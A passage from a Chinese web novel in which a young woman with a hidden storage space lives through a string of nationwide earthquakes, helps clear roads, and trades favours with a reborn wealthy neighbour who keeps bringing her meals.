秦小薇瞬间想到了之前忽然出现在帐篷里的陆昼，觉得室友们说得非常有道理！她的警惕心还是差了点。 附近虽然有保镖，一些宵小大概率不会靠近，但保镖是陆昼家雇的，端他们家的饭碗，根本就不会拦他…… 【秦小薇：知道了，我会的。】 【范槿：我正在排队买能量饼干，队伍好长啊！】 【范槿：[图片]】 【范槿：在行李上睡了一晚，我现在浑身上下都疼。我爸腰痛的毛病也犯了，一早起来，就让我妈用药油给他按摩……为了那点家当，真是遭大罪了！】 【秦小薇：叔叔没事吧？】 【范槿：我回家拿了瑜伽垫，让他先在帐篷外面趴着，先休息两天，不行再想办法找医生看看吧！】 【范槿：我看了其他省市的消息，这次地震基本上没造成什么伤亡，找医生应该不难。】 【秦小薇：阿霞，你们钢材厂停工了吗？】 因为要应对之后的极端天气，仅有帐篷是不够的，钢材厂这段时间一直在加班加点生产简易拼接房，就算预警消息出来之后，外面大部分公司、工厂都歇业了，钢材厂依旧在三班倒。 钢材厂仓库的活虽然非常辛苦，但段霞还是凭着毅力咬牙坚持下来了，据肖琳琳说，她现在似乎已经能适应钢材厂高强度的工作了…… 【段霞：上午刚干完最后一班活，我现在正在回去的路上，之后钢材厂会一直放假，直到余震彻底结束。】 【段霞：我真担心厂房被地震搞没了，到时候我又得找新工作！】 【秦小薇：不会的，你们厂的机器应该都搬出来了吧？只要有地方，随时都能开工！】 之后，她又打开网络，开始浏览白天错过的消息。 除了凌晨那一波，白天又有好几个省市发生了地震，按照目前公布的消息来看，震源的等级基本上都在8级以上。 有些城市比较“幸运”，虽然地震的等级很高，但烈度却不高，再加上一些其他的地理原因，地表和建筑物的破坏并不大，只要后续能继续保持，城市的重建，基本上不需要投入太大的人力物力；还有些地方，地震的等级和烈度都很高，城市基本上遭受了毁灭性的打击…… 只要手机提前打开了地震消息提醒的功能，普通人都能在地震发生前的三到五分钟收到预警消息，同时还会出现各种防空警报。 之前就有专家科普了各种灾难发生时的防空警报声的差异，官方还提前一周发了预警消息。 种种提醒之下，普通人只要不是自己找死，或是特别倒霉，碰到了突发情况，比如“安全区”忽然地裂之类的，基本上都有逃生的机会…… 看网上的消息，虽然地震造成的建筑毁坏很严重，但各个城市似乎都没造成什么伤亡。 秦小薇觉得，要是后续没有其他灾难的话，大部分普通人肯定能平安度过这次的考验……但很可惜，他们后续还得面临很多灾难。 除了讨论地震的，网上还有不少人在关心什么时候出分，之前参加的考试还算数吗…… 毕竟之前一个月，各种升学考试非常密集，但很多考试，都还没出成绩。 虽然这次地震范围很广，但伤亡还不如高温时候的零头，有些人看到网上的消息后，像是吃下了一颗定心丸。觉得就算发生了地震，他们之后也可以搬去那些保留了较多建筑的城市生活，又开始关心自己的学业、未来了…… 官方也没有辜负大家的期待，很快发布了消息，说试卷的信息都存了档，之后会陆续公布成绩。 看到官方发布的消息后，有人很高兴，有些考得不好的，则一片愁云惨淡。 第70章 第70章清路（双更合一）…… 秦小薇下午一直待在帐篷里,傍晚的时候，她开着车，去了最近的“流动摊位”,刷身份证,买了不少能量饼干和饮用水。 考虑到不远处就有十几个保镖,附近也没有别人，她走之前,并没有拆掉帐篷。 可能是因为市里很多小超市都关门了,售卖食物和水的移动车辆数量有限，市政稍微放开了物资限购,现在普通人一次可以买七天的食物和水。 秦小薇排了一个多小时的队，才带着一堆食物和水回去。 她观察了一下，发现虽然不少路都被帐篷占了,但是运送物资的车辆却能在市区畅通无阻,市政似乎之前就考虑到了这一点，在划定格子的时候，就空出了一条专门用于运送物资的路。 虽然“流动摊位”里的东西卖得很快,但一直有货物送过来，就算每个排队的人都提着一大包物资离开,队伍前进的脚步也没停下来过……就是宁市的人太多了,队伍太长了！ 她回到帐篷附近的时候，天已经快黑了，这附近的路灯一直没人来修,好在远处的房车亮着大灯，周围不算太暗。 秦小薇打开户外野营灯，拿着手机，继续关注网上的消息。 今天没练拳,总觉得还有件事没干，还有点不习惯…… 七点半的时候，秦小薇感受到地面一阵震动，虽然手机上没弹出任何预警消息，但她还是立刻从帐篷里跑了出去。 地面的震动很明显，她站在空地上，能看到帐篷正在不断地晃动。 不远处，房车里的人也都从车里出来了，她大致数了数，加上保镖，他们一共有二十个人，其中还有四个老人…… 震动持续了十几秒，就结束了，秦小薇站在原地等了一会，没等到其他异样，又重新钻进了帐篷里。 她上网搜了下，发现是邻省发生了地震，因为离得比较近，这边的震感才会这么明显。 过了一个白天，又有几款游戏登录 不上去了，秦小薇只能玩手机里的单机游戏打发时间。 熬到凌晨两点一十五，手机才弹出预警消息，同时，宁市各处也响起了防空警报，不远处，拉布拉多也跟着叫了起来。 秦小薇抱着自己的背包冲出了帐篷，地面震动得非常厉害，就算她自认为下盘很稳，但她在地上依旧站不稳，她抱着脑袋蹲了下来，降低身体的重心，等这波地震过去。 除了防空警报的声音，远处还不断传来“轰隆轰隆”声，秦小薇知道，那是建筑倒塌的声音。 周围太黑了，她看不清远处的情况，就算知道自己能平安度过第一波地震，她心里依旧产生了一股莫名的恐惧——那是对自然力量的敬畏。 她在心里数秒计时，时间在这一刻，忽然变得无比漫长…… 从七点半感受到震感之后，房车里的人就没再回去，一直待在外面的空地上。 和秦小薇一样，他们大部分人都蹲在地上，几个老人，甚至不顾形象地趴伏在地上，保持身体平衡。 拉布拉多在地上焦躁地转着圈，时不时呜咽几声，看上去有些无措。 它似乎是想离开，但陆昼一直拽着它的狗绳，它根本没办法跑远。 大概过了三四分钟，地面的震动才彻底停下来，秦小薇四处看了看，她的帐篷还好好的，不过远处两辆房车在剧烈地晃动下脱离了原本的位置，有一辆房车的车玻璃被另一辆车撞碎了。 手机接连发出两声“叮咚”，秦小薇打开看了下，是预警中心发来的短信，提醒市民后续可能会发生余震，让他们不要靠近高层建筑，免得出现伤亡…… 秦小薇打着手电筒去检查了一下自己的车，她的车没什么问题，就是地震的时候，车子自己往前“跑”了一段路。 秦小薇打开寝室群和工作群，确定了一下三个室友和员工们的现状。 【范槿：我没事，就是我家帐篷里堆的东西太多了，地震的时候，帐篷从柜子上掉了下来，把隔壁的帐篷给砸坏了……我爸说把我们家的帐篷赔给邻居，然后我们把坏掉的帐篷补一补，自己住。】 【肖琳琳：我和阿霞都没事，地震发生的时候，我们都从帐篷里出来了，基本上没什么人受伤……】 【段霞：官方都做了这么多准备了，这次地震应该没什么人受伤……就是我们的出租房成了一片废墟，等地震结束了，我们估计得一直住帐篷里。】 【范槿：我们整个小区都塌了，之前地震的时候，我们都蹲在地上等地震过去，但是有个大妈，一直对着她家的房子哭，还摔了一跤，磕掉了两颗门牙……现在我们小区的人都在讨论官方会不会出钱给我们重修房子。】 【秦小薇：我觉得难，这次地震的波及范围太大了，财政估计掏不出这么多钱……】 【秦小薇：饭饭，你先看看你家的帐篷能不能修好，要是修不好，我就找我老板问问，看看能不能再给你们弄顶帐篷。】 【范槿：薇薇，你太好了！】 【范槿：飞吻.jpg】 她发在工作群里的消息也很快就得到了回复，大家都没事，除了部分员工的房子塌了，基本没人受伤…… 秦小薇把车开远了一些，提着野营灯，在帐篷门口坐了下来，时不时看两眼手机。 “汪汪汪——”拉布拉多忽然跑了过来，用脑袋蹭她。 秦小薇揉了把拉布拉多的脑袋，她抬头朝房车的方向看了看，陆昼正在组织保镖处理被撞坏的房车，似乎没注意到拉布拉多跑过来了。 秦小薇用脚踩住它的狗绳：“行了，你先在这边好好待着，等他们忙完了，你再回去……” “汪——”拉布拉多乖乖趴下了。 忽然，她面前投下了一片阴影，她一抬头，就看到了一个拄着拐杖、精神矍铄的老爷子。 老爷子笑眯眯地看着她：“小姑娘，我看你这边黑得很，要不要去我们那边坐坐？” 秦小薇毫不犹豫地摇头：“不用了，我待在这里就行了。” 被拒绝了，老爷子也没有离开，他指了指秦小薇身边的位置：“小姑娘，介意我在这边坐会儿吗？” 他依旧是笑眯眯地，态度看上去非常和蔼。 秦小薇皱了皱眉，但还是往边上挪了挪，给他让了个位置。 老爷子：“小姑娘，我是陆昼的外公，那小子有没有和你提过我？” 秦小薇摇头：“呃……我和他只是认识，不是特别熟，没聊这么深。” 陆外公指了下趴在秦小薇身边的狗：“我看你们熟得很嘛！” 秦小薇：“我和香肠之前就认识，她的前主人和我住同一栋宿舍，我们那栋宿舍楼的人都认识它……” 言外之意就是，香肠过来找她没什么奇怪的。 陆外公：“它对你态度可不一般，之前白天看到你的时候，尾巴都快摇成螺旋桨了。” 秦小薇：“……可能是因为，我之前给它喂过吃的？” 说到吃的，拉布拉多“蹭”一下抬起头来，目光灼灼地盯着秦小薇。 秦小薇笑了：“您看，它就是个大馋狗，听到吃的就走不动道了。” 拉布拉多“汪——”了一声，似乎是在反驳她的话。 陆外公：“听小昼说，这狗是他从Q大领养的，你也是Q大的？” 秦小薇：“嗯。” 陆外公：“你学什么的？毕业了没？” 秦小薇：“我是体育生，练举重的，前不久刚毕业。” “体育生？体育生好啊！现在这世道，身体不好可不行……”陆外公笑眯眯地看着她，似乎是对她的回答非常满意，“你怎么一个人出来搭帐篷？家里人呢？” 聊了这么一会，秦小薇也知道了他的目的，他大概是好奇她和陆昼的关系，过来打听八卦的，应该不是陆昼让他过来刷她“好感度”的。 秦小薇转移话题道：“我看那边快要收拾好了，爷爷，您要不要回去睡一会？熬了这么久，您肯定也累了……” 见她开始送客了，陆外公也没有非要留下，他扶着拐杖站了起来：“确实是该回去了，我不在，老婆子心里也不踏实……” “等等……”秦小薇把狗绳递了过去，“这狗您也一起带回去吧！外面不知道什么时候有余震，狗还是要看好的……” “谢谢你的提醒，我会转告小昼的！”陆外公接过狗绳，拄着拐杖回去了。 拉布拉多似乎是知道老人家腿脚不好，也没横冲直撞，反而配合他放慢了脚步。 秦小薇看着一人一狗的背影，不禁感叹，陆昼真的把狗训得很好，谁能想到，这只狗半年多以前，还因为各种“坏习惯”，几乎被她们整个宿舍楼的女生嫌弃呢？ 可能是因为秦小薇的态度比较冷淡，避嫌的意思也很明显，房车那边，没再来人打扰她。 她在帐篷门口一直坐到天亮，中途，手机的地震预警响了好几次，后半夜一共发生了四次余震。 好在这附近空旷得很，余震的等级也不高，秦小薇并没有受伤。 附近的烂尾楼，已经塌成了一片废墟，和天黑之前完全是两个模样，还有远处一些原本影影绰绰能看到一些轮廓的摩天大楼，也都消失了大半……目之所及，大地一片狼藉！ 天亮之后，秦小薇实在是熬不住了，干脆进帐篷里睡了一觉。 经历了好几波余震后，她也发现了，只要不是发生大地忽然裂一个口子，把她吞进去这种事，这附近基本上没有危险。 担心帐篷里的东西在发生余震的时候砸到自己，秦小薇把它们全都收进空间里了，只留了一个睡袋在外面当被子盖，为了方便随时出去，她连睡袋的拉链都没拉。 她一觉睡到了中午，又被陆昼吵醒了。 这回，他没进来，而是一直在外面叫她的名字。 被吵醒后，秦小薇的心情非常不爽，她怒气冲冲地拉开帘子：“干什么？” 看到她的表情，陆昼下意识后退两步，他举了下手中的饭盒，语气戒备：“来给你送饭。” 秦小薇狐疑地看着他：“你会有这么好心？” 陆昼直接把饭盒放在离她一米远的地上：“吃完记得把饭盒洗干净。” 说完，他就放下饭盒，直接离开了。 看他的背影，竟然有种落荒而逃的感觉。 秦小薇在心里骂了一句“什么毛病”，她走过去拿起饭盒打开看了看，饭盒里是一盒干捞水饺，考虑到她饭量比较大，饺子的数量非常多，她粗略估计，至少有三四十个。 饺子白白胖胖的，馅料非常足，一看就是自己和面包的，看起来非常有食欲…… 她去弄了点水洗漱，收拾了一下自己，才拿起盒盖上卡着的叉子，开始吃饺子。 饺子应该是鱼肉馅的，味道非常鲜。 秦小薇进空间里弄了点醋和辣椒油，给小黄准备了一点吃的，又飞快解决了空间里的杂事，才出来继续吃饺子。 吃到一半，她觉得没那么饿了，才稍微放慢了一些速度，拿出手机，开始浏览网上的消息…… 上午宁市一共发生了三次余震，但因为普通人早有准备，并没有出现多少伤亡。 不过市政之前规划的用于运送物资的那条路被倒塌的房屋堵住了，外面很多路段也都出了问题，现在市区的物资很难流通，社区正在组织道路附近的普通人帮忙清路，尽快恢复物资供应…… 前几天，市政放开了限购，市民们一次可以购买好几天的物资，所以就算市民们被困在城市各处，只要及时把路清出来，普通人也不用担心饿肚子的问题…… 事实上，现在几乎没什么人担心能量饼干会不够吃，因为之前各个超市、便利店的能量饼干就没断过，他们连着吃了半年多，除了之前上新的新口味，老包装上的生产日期都是暴雨之前好几个月的……超市库存总给人一种能量饼干吃不完的感觉。 吃完饺子后，秦小薇把饭盒洗干净还给了保镖。 之后，她就开车离开了。 工作人员在地图软件上标注了需要清理道路的路段，实时更新进度，秦小薇想去最近的路段帮忙。 她不知道之后会怎么样，但如果现在打好基础的话，等台风和冰雹来了，宁市普通人的生活，也能好过一些。 她心里，还是希望这座城市能恢复正常的…… 但车子开出去没多久，她就又折了回来，外面有条马路被堵了，车子根本开不出去。 秦小薇：陆昼选的这个地方，真的靠谱吗？ 等地震结束了，她该不会回不了家吧？！ 她拿出手机，给陆昼发了条消息。 【秦小薇：外面的大马路被堵住了，出不去了，你有什么头绪吗？】 【秦小薇：微笑.jpg】 【陆昼：你要回家？】 【秦小薇：不回家，市政在号召普通人帮忙修路，我想过去帮忙。】 【陆昼：……】 发完六个点后，他那边就没消息了，秦小薇等了一会，正想下车去找他，却又收到了他的消息。 【陆昼：沿着这条路走，可以出去。】 【陆昼：[图片][图片]】 【陆昼：路上注意安全，别把自己的小命弄丢了。】 秦小薇点开图片研究了一下，那是两张地图软件的截图，陆昼在图上画了两条线，分别标注了，她回家和去附近需要修复路段的路线，沿途有些地方还是地图上根本就没有的“新路”。 秦小薇：有一说一，他上辈子的经验，这种时候还是挺有用的。 记住路线后，她就开车出发了。 “新路”要绕过烂尾楼那片废墟，秦小薇担心会发生余震，开车的时候精神高度紧张，随时准备进空间里“避难”。 路上，随处可见倒塌的房屋、树木、电线杆…… 虽然现在暂时没有余震，但没完全塌掉的高楼层，时不时就会有东西掉下来，非常危险。 目的地离她只有一公里多，以她以前的速度，几分钟就能到，但这次，却开了快十分钟。 前面一段路，基本上都没什么人，但目的地附近，却十分热闹。 除了普通人，还有一些穿着制服的公职人员，大家都在忙着清路，秦小薇甚至还在忙碌的人群中看到了几个小朋友。 她戴上安全帽，从后备箱里拿出铁锹，就加入了他们…… 地上到处尘土飞扬，干了没一会，秦小薇就变得灰头土脸的，偶尔手机提醒，有余震要来了，他们还得立刻转移到安全的地方蹲着或是趴着，免得废墟上有东西掉下来砸到他们，或是摔倒磕到受伤…… 这一下午，可以说是过得又惊险又刺激！ 不断有人赶过来加入他们，在众人的努力下，他们赶在傍晚太阳落山之前，把道路清出来了。 之后有些人还要去其他地方继续清路，秦小薇看了下时间，快五点了，地震把电路都破坏了，现在还完好的路灯到了晚上也不会亮，天黑之后路会很不好走，她决定还是明天再继续。 做好事也要考虑自身情况！ 她沿着原路返回，回到营地后，秦小薇简单收拾了一下自己，就准备进空间里弄点吃的。 谁知她刚钻进帐篷里，陆昼就找来了，秦小薇探出一个脑袋，看着他手上的饭盒，一时有点猜不透他的目的。 秦小薇：“陆昼，你今天吃错药了？” 陆昼没回答她的问题，直接把饭盒扔她怀里：“我晚点让香肠过来取饭盒。” 饭盒里装的是鳝丝面，刚刚出锅的，闻起来特别香，和中午那顿差不多，依旧分量很足。 秦小薇凑近闻了闻，然后直接拿起筷子吃了起来。 他们现在是一条船上的蚂蚱，陆昼应该也不至于下毒害她…… 他现在的行为，有点像是在对她投放糖衣炮弹……可能后面会有求于她？ 她决定，把糖衣吃了，炮弹扔回去！ 毕竟现在黄鳝真的很难弄到，想吃到这么好吃的鳝丝面就更难了！ 手擀面非常劲道，里面的黄鳝也很好吃，干了一下午体力活，秦小薇现在很饿，连面带汤，吃了个一干二净。 洗完碗之后，秦小薇拿出了手机，开始查看网上的消息。 今天国内的情况和昨天差不多，又有很多地方发生了地震，但因为提前做了准备，基本上没什么伤亡。 白天，三个室友都没闲着，在社区工作人员的组织下，她们留了一个人看帐篷和行李，剩下的人则去帮忙清理、填平道路…… 【秦小薇：饭饭，你家的帐篷补好了吗？能用吗？】 【范槿：补好了，里面有几根骨架折了，我爸削了几根木条换掉了，破的地方我们剪了一块冲锋衣外套补上了，应该没什么问题。】 【秦小薇：那就好。】 她上了会儿网，就听到了拉布拉多用爪子在外面扒拉帐篷的声音，秦小薇拉开拉链，把装着饭盒的塑料袋递了过去：“拿去交差吧！” 拉布拉多咬住塑料袋，却没有离开，一个劲冲着她摇尾巴。 之前也在空间里和它相处了一段时间，秦小薇知道，它这是在和她讨食，或者也可以说，是在和她要跑腿的报酬。 秦小薇：“……” 她让了个位置，有些无奈地开口道：“进来吧！” 得到了允许，拉布拉多立刻摇着尾巴冲进了帐篷里。 秦小薇从仓库里拿了两个鱼肉馅的包子，放到碟子里，让它吃。 她拍了张拉布拉多吃包子的照片发给陆昼。 【秦小薇：跑腿费已经付过了。】 【秦小薇：[图片]】 【陆昼：我刚刚也付过了……】 【陆昼：两根鸡肉条。】 秦小薇：“……”这狗长得这么憨厚可靠，怎么心眼子这么多？干一份活，竟然要两头拿工资！ 肯定是和它的主人学的！ 她狠狠揉了下它的狗头“泄愤”，拉布拉多吃得正开心，并没有反抗。 等包子吃完了，它又盯着秦小薇看了一会，见秦小薇不给它吃的了，它才叼着塑料袋依依不舍地离开。【你现在阅读的是 】 70-80 第71章 第71章昏迷（双更合一）…… 晚上,秦小薇没再出帐篷，为了调整作息，她晚上十点多就睡了,半夜她被手机的地震预警吵醒了好几次,但之前经历了好几次余震,秦小薇已经有“经验”了，余震等级太低,她甚至都没起来去外面看看。 事实也和她猜测得差不多,她这个位置非常安全，余震来的时候,就像是躺在摇床上一样，晃了一会，就结束了。 而且她躺在垫子上,也不用担心摔倒受伤什么的…… 和前两个晚上相比,秦小薇今晚算是睡了个好觉。 早上起床后，秦小薇上同城APP查看了一下宁市的消息，昨天有军队出动了,在普通市民和军队的彻夜努力下，运送物资的路段有一半都恢复了通行。 今天再干一天,物资运送的问题应该就能彻底解决！ 她刚洗漱完,陆昼就又送早饭过来了，今天的早饭是小笼包，刚好可以一口一个的那种。 陆昼和她没什么交流,放下饭盒就直接离开了，等秦小薇吃完了，他又派拉布拉多过来取饭盒。 拉布拉多和昨天一样，拿了饭盒也不愿意走,蹲在帐篷门口和秦小薇讨吃的。 秦小薇又好气又好笑，伸手戳它的脑袋：“你主人都没和我要报酬，你倒是先要上了，心机狗！” 拉布拉多像是听不懂她的话似的，依旧吐着舌头冲着她笑，目不转睛地盯着她。 一人一狗对峙了一会，秦小薇败下阵来，放它进了帐篷里，给它投喂了两个包子：“你平时给其他人干活，他们也会付你工资吗？” 拉布拉多没有回应，依旧在埋头苦吃。 等它离开后，秦小薇收拾了一下东西，就开车离开了营地。 今天她跑得更远了一些，才到达需要处理的路段。 今天的情况和昨天不太一样，因为地震，这条路上多了一个五六米深的“巨坑”，众人得把周围废墟里的东西运过来，填平这个大坑，让车子从坑上面开过去…… 可能是因为她来得比较早，刚开始的时候，就只有八九个人在忙碌，随着太阳的升起，赶过来帮忙的人也越来越多，他们没有车，很多人都是靠两条腿步行过来的。 上午十点多的时候，还有卡车拉着三车工程兵过来了。 工程兵的装备比较齐全，有了工程兵的加入，众人干活的速度一下子快了很多。 中午的时候，郊区的村子里，有老乡用面包车运了两桶蔬菜蛋汤过来，让他们用蔬菜蛋汤就着能量饼干吃午饭。 说是蔬菜蛋汤，其实里面的鸡蛋很少，只有一点蛋花，蔬菜的量倒是挺多，汤里有一半都是各种蔬菜，现在这种情况，这算是很不错的伙食了。 工程兵不愿意接受他们的好意，老乡们便和他们解释这些菜的由来：“地震之后，田里的菜都被糟蹋得不成样，好多根都断了，这些菜反正也都活不了，我们就干脆摘下来吃了，要不然就只能烂在田里……” “我们种得多，自己也吃不完，我儿子说你们昨天熬了一晚上修路，特别辛苦，我们想着反正也吃不完，就煮了几锅送过来……我手艺不好，就随便煮了煮，你们不要嫌弃。” 工程兵有纪律，不能拿普通人的东西，其他人却没这个顾虑，秦小薇跟着其他人一起领了一碗蔬菜汤。 蔬菜的种类太多，汤的味道有些奇怪，不过大家都吃得很开心，几乎每个人都光盘了。 下午一点多的时候，他们终于把坑填完了，工程兵开着压路机把坑压了几遍后，众人又往坑里填了点东西，才转战其他的地方，继续修路。 秦小薇也跟着去了。 因为要赶在天黑之前回营地，她并没有在外面待到太晚，五点多的时候就回去了。 这两天天天在外面铲土，她整个人都灰头土脸的，不过现在也不方便进空间里洗澡，秦小薇便只换了衣服，然后用湿毛巾擦了下身体。 她端着水盆出来倒水的时候，刚好碰到了陆昼，他手上依旧拿着饭盒。 秦小薇盯着他看了一会，忽然开口道：“陆昼，你是不是有事求我？” 陆昼：“……没有。” 秦小薇：“你又不是在追我，干嘛天天给我送吃的？你脑子坏掉了吗？” 陆昼：“……给你你吃就行了，不用追根究底！” 他把饭盒放到秦小薇已经倒掉水的空盆里，就转身大步离开了。 秦小薇：怎么感觉……他好像有点恼羞成怒了？应该是她的错觉吧！ 经过两天的忙碌，宁市运送物资的道路基本上已经通畅了，不过市政和社区的工作人员并没有停下来，他们依旧在组织市民清理其他的道路，争取让市区所有的路段都恢复通行。 秦小薇挑了些比较“安全”的路段，跟着忙碌了几天——现在国内很多地方都在忙着清路，有博主专门总结了在什么样的地方干活不容易出事，让普通人作为参考。 毕竟现在余震依旧很频繁，外出还是挺危险的，就算是想重建城市，也得注意自己的安全！ 她每天回营地之后，都会关注网上的消息。 秦小薇发现，国内有些地方真的很“幸运”，虽然说这场大地震是全国性的，但有些地方，却没受到什么影响，他们甚至还能分出人手去支援其他的城市，不过这样的城市在国内算是少数。 连续两场大灾难之后，网上已经很难看到国外的消息了，偶尔看到一些只言片语，国外的情况也都非常不乐观。 但这两天，国外的消息难得上了次新闻头条——某个网友发现，卫星地图上，某个岛国在消失在海平面之下两天后，又再次出现了。 虽然不知道那边现在具体是什么情况，但所有人都一致认为，那个国家应该已经无人生还了…… 这天傍晚，秦小薇回到营地之后，简单洗漱了一下，就回帐篷里躺着等陆昼的投喂了——陆昼天天过来送饭，她都快习惯了。 可今天，陆昼送完饭盒之后，却没急着离开，他指了指秦小薇身后的帐篷：“有事找你，可以进去说吗？” 秦小薇有种“终于来了”的感觉，她点点头道：“行啊。” 陆昼压低声音开口道：“明天早上，你陪我回家拿点东西，东西有点多，到时候得存点物资在你的仓库里。” 秦小薇等了一会，没等到他的下文，不禁侧目：“没了？” 陆昼：“嗯。” 她看了看手上的饭盒，他给她送了十几次饭，就是为了让她用仓库帮他装点物资？这难道不是他们之前就约定好的内容吗？ 她忽然觉得手上的饭盒有点烫手…… 秦小薇再次确认：“就陪你回去拿点东西，没别的了？” 陆昼：“没了，去不去？” 秦小薇：“几点出发？” 陆昼：“天亮就出发，到时候我来叫你。” 秦小薇：“行。” 不知道是出于什么心理，今天拉布拉多过来拿饭盒的时候，秦小薇多给了它两个水煮蛋当报酬。 第二天一早，秦小薇刚洗漱完，陆昼就过来找她了。 两人坐的是陆昼的车，今天他没带早餐过来，连着吃了他这么多天的饭，秦小薇便从仓库里拿了几个烧饼出来分给他。 烧饼一直放在仓库里，还冒着热气，口感和刚出锅的时候差不多。 但很快，秦小薇就后悔这个决定了。 和她小心翼翼地开车风格不一样，陆昼开车十分“狂野”，可能是仗着路上没有红绿灯，一路上，油门都快被他踩爆了。 他的手机连着车里的蓝牙，不断有人打电话进来，问他工作的事。 他还空出了一只手，拿着烧饼吃早饭，堪称一心三用。 秦小薇很担心自己的生命安全，她忍不住开口道：“我看你挺忙的，要不换我来开车吧？” 陆昼没有拒绝，直接停下车，和她换了 位置。 她开了没一会儿，陆昼就忍不住皱眉：“你是蜗牛吗？开这么慢？” 秦小薇不服气地反驳道：“我这叫谨慎！我和你不一样，我对地震之后的宁市又不熟，不得好好观察一下周围的环境？万一不小心把车开沟里去了怎么办？” 陆昼摇了摇头，没再多说什么。 一个半小时后，他们终于到了目的地。 可能是因为小区在建造的时候，就考虑了防震的问题，虽然这几天一直余震不断，但小区的建筑却基本上没怎么损坏。 除了有几层楼走廊的窗户碎了，还有几家空调的外机掉下来了……不过这都是小问题，以这里住户的财力，等地震过去了，第二天就能找人上门修好。 小区里面有一个很大的广场，和外面一样，广场上搭了很多顶帐篷——住户都从屋里搬出来了。 秦小薇有些奇怪：“你们小区不是也能搭帐篷吗？你们一家怎么开着房车躲到那么偏远的地方去了？” 陆昼：“苍蝇太多了！烦！” 秦小薇：“……” 小区的电梯有独立电源供电，现在还能运行，不过两人担心坐电梯会出事，是爬楼梯上去的。 进屋后，秦小薇发现，虽然从外面看，建筑整体完好无损，但房子里面，却有些乱。 墙上的挂画掉了下来，天花板上还掉了一些墙皮，桌上的东西也滚得到处都是…… 秦小薇：还好她没留在公寓楼里，这种时候，还是野外空旷的地方比较安全！ 陆昼带着秦小薇直奔楼下的冷库，秦小薇叼着之前没吃完的烧饼，跟在他后面。 下楼后，他指着两间冷库的大门开口道：“里面的东西，都帮我收起来。” 秦小薇有些惊讶：“全部？你确定？” 这些要是都收进她的仓库里了，她可就掌握陆昼几乎所有的物资储备了！ 像他这样的人，把鸡蛋放在不同的篮子里才是他会做的事吧？ 陆昼叹了口气，解释道：“前天保安给我打电话，说外墙上的太阳能发电板被余震震掉了，现在两间冷库都断电了，不让你收起来，等下次回来，有些东西估计要臭掉了……” 秦小薇：原来如此！ 两人一起走进冷库，可能是因为之前温度开得很低，就算已经断电两天了，里面的东西依旧冻得邦邦硬，不过秦小薇能感觉到，冷库里面的温度明显降低了不少，上次她在里面待了一会儿就觉得冷得不行，这次没穿厚棉袄进来，也没觉得有多冷。 另一个冷藏库里的东西，她没全部收走，像是大米这种可以常温保存的东西，她都留了下来。 临走前，秦小薇忍不住问他：“你家里存了这么多吃的，又没有人看着，不担心被偷了吗？” 陆昼：“不担心，我对小区的安保有信心。” 秦小薇不理解：“我看外面好像也没几个保安啊？” “除了他们还有安保系统……”陆昼带着她到窗户边上，他拉开窗帘，指着外面，示意她看。 外面赫然是一排摄像头，三百六十度，高清无死角！ 秦小薇：好家伙！要不是陆昼特地指给她看，她乍一看，还以为那边停着一排鸟呢！ 而除了那一排摄像头，小区里其他地方也有很多监控。 秦小薇：看来以后来这个小区要格外小心！ 两人正要下楼，手机却忽然发出一阵熟悉的警报声——余震要来了！ 陆昼想往墙角跑，秦小薇却拽着他的胳膊直接进了空间。 她不满地盯着他：“你不是重生的吗？怎么还在有余震的时候回家？” 陆昼：“……余震太多了，我记不清了。” 这几天余震好像确实挺多的…… “算了，先在这里待一会吧！你去看看机器人，我去其他地方看看……”秦小薇说着，就上了路边一辆四轮车。 等提交完机场的订单，又撸了会鹦鹉，秦小薇依照这几天的经验，觉得外面的余震应该已经结束了，便带着陆昼出去了。 小区的房子依旧没有塌，就是屋里有些东西又脱离了原本的位置…… 陆昼：“我刚刚还以为，你会第一时间往安全的地方躲。” 秦小薇不解：“我的空间难道不是最安全的地方？” 看着她的眼睛，陆昼忽然笑了：“你这么说也没错！” 秦小薇：“行了，别聊了，趁着现在余震结束了，赶紧下去吧！” “嗯。”陆昼抱起一个纸箱，大步走在了前面。 回去的路上，依旧是秦小薇开车，他们没急着回营地，陆昼说他要去Q大办点事，秦小薇便照着他给的路线图，绕路去了Q大。 到了Q大门口后，陆昼并没有下车，他打了个电话，就一直在车上等着。 等了一会，一个看上去有些沧桑的中年男人敲了下他们的车窗玻璃。 陆昼拉开车门下了车，把之前从家里带出来的纸箱递给中年男人：“刘老师，东西都在箱子里了，要是不够，您再联系我……” 男人打开箱子看了看，看到里面的东西后，他脸上的愁容都褪去了很多：“够了！够了！小陆啊，你可真是帮了我大忙了！我都不知道该怎么感谢你才好！” 那箱东西，是秦小薇看着他从冷藏库里收拾出来的，是几袋进口奶粉和一些吃的。 陆昼上车后，秦小薇忍不住调侃他：“你还懂得尊师重道啊？” 陆昼：“那是给刘老师的孙子准备的，他孙子还没断奶他儿媳妇就出意外没了，婴儿不适合吃能量饼干……刘老师上辈子帮过我，我还个人情……” 秦小薇打断了他：“好了，我要开车了，你不要打扰我！” 陆昼：“……” 上路后，没过多久，秦小薇的手机就响了，是肖琳琳的电话，她抽空划拉了一下手机，打开了免提。 秦小薇：“喂？琳琳，出什么事了？怎么忽然给我打电话？” 她们四个平时都是用寝室群联系，没什么特别的事，基本上不会打电话。 肖琳琳的声音里带着明显的惊慌失措：“薇薇，阿霞受伤晕过去了！” 秦小薇踩下刹车，在路边把车停了下来：“琳琳，你别着急，慢慢说，出什么事了？” 肖琳琳：“前几天，我们这不是有人的金镯子在睡觉的时候被人偷走了吗？之后几天，又有人陆续丢了贵重的首饰，这几天大家都在抓贼，今天早上终于抓到了……” “那个贼要跑，刚好经过我们身边，阿霞就帮忙把人抓住了……本来这事到这就完了，但是那个贼的老婆觉得是阿霞害了她老公，趁着阿霞不注意，把她脑袋敲破了。” “阿霞她现在晕过去了，怎么叫都叫不醒，我找不到车送她去医院……你能不能来帮帮我们？” 说到最后，她的声音里已然带了哭腔。 秦小薇的声音还算冷静：“琳琳，你别着急，我现在就过去！阿霞的头出血了吗？要是出血量很大，你先找东西给她止血，然后收拾一下东西，等我们到了就直接去医院……” 挂了电话后，秦小薇看向陆昼：“耽误你一点时间，你得先跟我跑一趟了！” 陆昼：“没事，我上午也没什么事。” 秦小薇：他这一上午，电话就没停过，这叫没什么事？ 虽然心中吐槽，但秦小薇还是启动了车子， 因为心中着急，她的车速比之前快了很多，好在有一段路他们之前就走过一遍了，路上并没有碰到什么危险。 路上的时候，秦小薇拜托陆昼帮自己查一下附近还有哪些医院在营业，陆昼却说，可以直接送去他们小区…… 秦小薇想了下，他们小区的医疗环境确实比外面的医院要好，便没有拒绝。 两人到的时候，肖琳琳已经收拾好东西在等他们了。 秦小薇下车，和她一起把还在昏迷的段霞搬上了车。 